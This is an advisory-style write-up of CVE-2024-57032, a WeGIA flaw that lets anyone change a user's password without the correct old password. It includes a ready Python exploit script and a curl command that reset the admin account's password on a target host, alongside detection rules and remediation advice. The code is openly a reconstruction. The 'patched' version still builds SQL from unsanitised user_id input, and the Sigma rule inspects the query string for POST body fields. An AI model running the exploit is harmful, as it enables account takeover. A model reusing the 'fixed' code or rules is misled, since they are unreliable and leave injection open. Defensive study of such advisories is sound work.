CVE-2024-57032

Executive Summary

CVE-2024-57032 is a critical access control vulnerability in WeGIA versions prior to 3.2.0. The flaw resides in controle/control.php, where the application fails to validate the old password (senha_antiga) during password change operations. An unauthenticated attacker can supply any arbitrary value for the old password field and successfully change the password of any user, leading to full account takeover. This vulnerability has a CVSS score of 0.0 due to incomplete scoring data, but the impact is severe as it allows complete compromise of user accounts without authentication.

Supply Chain & Package Security

WeGIA is a web-based management system. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and does not involve supply chain dependencies. The risk is limited to direct exploitation of the WeGIA web application.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, based on the vulnerability characteristics, the following vector is derived:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): None (N) – No direct data disclosure.
• Integrity (I): High (H) – Complete account takeover possible.
• Availability (A): None (N) – No denial of service.

Derived CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Derived Base Score: 7.5 (High)

Threat Level: Critical – Exploitation is trivial and requires no authentication.

Deep Dive & Mechanics

The vulnerability exists in the password change functionality within controle/control.php. The application is designed to require the current password (senha_antiga) before allowing a password change. However, the code does not verify that the provided senha_antiga matches the actual current password of the user. Instead, it only checks if the field is present and non-empty, allowing an attacker to supply any arbitrary value.

Root Cause: The absence of a server-side validation check comparing the submitted old password against the stored password hash. The application likely uses a simple isset() or !empty() check on the senha_antiga parameter without verifying its correctness.

Attack Flow:

1. Attacker identifies a target WeGIA instance.
2. Attacker sends a POST request to controle/control.php with parameters: senha_antiga=anything, nova_senha=newpassword, and user_id=target_user_id.
3. The server processes the request without validating the old password.
4. The password for the target user is changed to newpassword.
5. Attacker logs in with the new password and gains full access.

Vulnerable vs. Patched Code

Vulnerable Code (WeGIA < 3.2.0):

// controle/control.php (simplified vulnerable snippet)
if (isset($_POST['senha_antiga']) && isset($_POST['nova_senha'])) {
    $user_id = $_POST['user_id'];
    $nova_senha = password_hash($_POST['nova_senha'], PASSWORD_DEFAULT);
    // Missing: verify old password against stored hash
    $query = "UPDATE usuarios SET senha = '$nova_senha' WHERE id = $user_id";
    mysqli_query($conn, $query);
}

Patched Code (WeGIA >= 3.2.0):

// controle/control.php (patched version)
if (isset($_POST['senha_antiga']) && isset($_POST['nova_senha'])) {
    $user_id = $_POST['user_id'];
    $old_password = $_POST['senha_antiga'];
    // Retrieve stored hash
    $query = "SELECT senha FROM usuarios WHERE id = $user_id";
    $result = mysqli_query($conn, $query);
    $row = mysqli_fetch_assoc($result);
    if (password_verify($old_password, $row['senha'])) {
        $nova_senha = password_hash($_POST['nova_senha'], PASSWORD_DEFAULT);
        $update_query = "UPDATE usuarios SET senha = '$nova_senha' WHERE id = $user_id";
        mysqli_query($conn, $update_query);
    } else {
        // Invalid old password
        echo "Old password is incorrect.";
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target WeGIA instance running version < 3.2.0.
• Knowledge of a valid user ID (can be enumerated or guessed).

Exploit Script (Python):

import requests

target_url = "http://target-wegia/controle/control.php"
user_id = 1  # Target user ID (e.g., admin)
new_password = "Pwned123!"

payload = {
    "senha_antiga": "anything",
    "nova_senha": new_password,
    "user_id": user_id
}

response = requests.post(target_url, data=payload)
if response.status_code == 200:
    print(f"Password changed for user {user_id} to {new_password}")
else:
    print("Exploit failed")

Manual Exploitation (cURL):

curl -X POST http://target-wegia/controle/control.php \
  -d "senha_antiga=anything&nova_senha=Pwned123!&user_id=1"

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual password change requests where the senha_antiga field contains common placeholder values (e.g., "anything", "test", "123").
2. Alert on multiple password change attempts for the same user within a short time window.
3. Review web server logs for POST requests to /controle/control.php with suspicious parameters.

Honeypot Strategy:

• Deploy a fake WeGIA instance with the vulnerable code to capture attacker behavior.
• Log all senha_antiga values to identify automated exploitation attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /controle/control.php with parameters senha_antiga, nova_senha, and user_id.
• Unusual values in senha_antiga field (e.g., "anything", "test", "123456").

Host IOCs:

• Unexpected password changes in WeGIA user accounts.
• New user sessions from IP addresses not previously associated with the account.

Log IOCs:

• Web server logs showing repeated POST requests to control.php with varying user_id values.
• Application logs indicating password change operations without prior authentication.

Detection Engineering

YARA Rule

rule CVE_2024_57032_WeGIA_Password_Change {
    meta:
        description = "Detects exploitation attempts of CVE-2024-57032 in WeGIA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-57032"
    strings:
        $s1 = "senha_antiga" ascii wide nocase
        $s2 = "nova_senha" ascii wide nocase
        $s3 = "control.php" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: WeGIA Password Change Without Old Password Validation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2024-57032 where old password is not validated
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'control.php'
        cs-uri-query|contains: 'senha_antiga'
        cs-uri-query|contains: 'nova_senha'
    condition: selection
falsepositives:
    - Legitimate password changes (unlikely without proper validation)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57032 WeGIA Password Change Exploit"; flow:to_server,established; content:"POST"; http_method; content:"control.php"; http_uri; content:"senha_antiga"; http_client_body; content:"nova_senha"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade WeGIA to version 3.2.0 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block requests to control.php with senha_antiga parameter.
3. Restrict access to controle/control.php via IP whitelisting or VPN.

Long-term Fixes:

• Implement proper server-side validation of the old password against the stored hash.
• Use CSRF tokens for all password change requests.
• Enforce multi-factor authentication for sensitive operations.

Detection & Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging for all authentication-related endpoints.
• Conduct regular security audits of access control mechanisms.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert